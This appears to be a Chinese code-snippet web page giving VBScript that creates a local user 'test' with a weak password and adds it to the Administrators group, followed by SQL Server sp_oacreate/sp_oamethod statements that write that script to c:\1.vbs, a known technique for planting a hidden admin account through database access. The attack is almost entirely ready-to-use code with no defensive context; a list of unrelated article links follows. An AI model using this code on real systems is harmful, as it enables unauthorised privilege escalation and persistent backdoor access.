html自动增加vbs代码,HTML_vbs加administrator用户的代码，set wsnetwork=CreateObject("WSCRIPT.NETW - phpStudy...

vbs加administrator用户的代码

set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set ob=GetObject(os) '得到adsi接口,绑定

Set oe=GetObject(os&"/Administrators,group") '属性,admin组

Set od=ob.Create("user","test") '建立用户

od.SetPassword "1234" '设置密码

od.SetInfo '保存

Set of=GetObject(os&"/test",user) '得到用户

oe.add os&"/test"

SQL语句如下，采用sp_oamethod过程：

declare @o int, @f int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject

("WSCRIPT.NETWORK")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.

ComputerName'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject

(os&"/Administrators,group")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create

("user","test")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'

exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject

(os&"/test",user) '

exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'相关阅读:

用javascript的正则表达式来验证Email地址是否格式正确

js 简单类代码

JavaScript 比较时间大小的代码

css实例教程:理解Float的含义

容易混淆使用位置的XHTML标签

Sendmail邮件服务器快速指南 2

发一个自定义标签源码 读取远程文件

PHP 压缩文件夹的类代码

CSS高级技巧:阴影效果

asp.net中XML文件作为中间件进行数据交换功能的实现(c#,sql2000)

asp.net转出json格式客户端显示时间

JavaScript 基础问答二

linux 操作技巧收集_

CSS教程:通过实例学习和理解CSS盒模型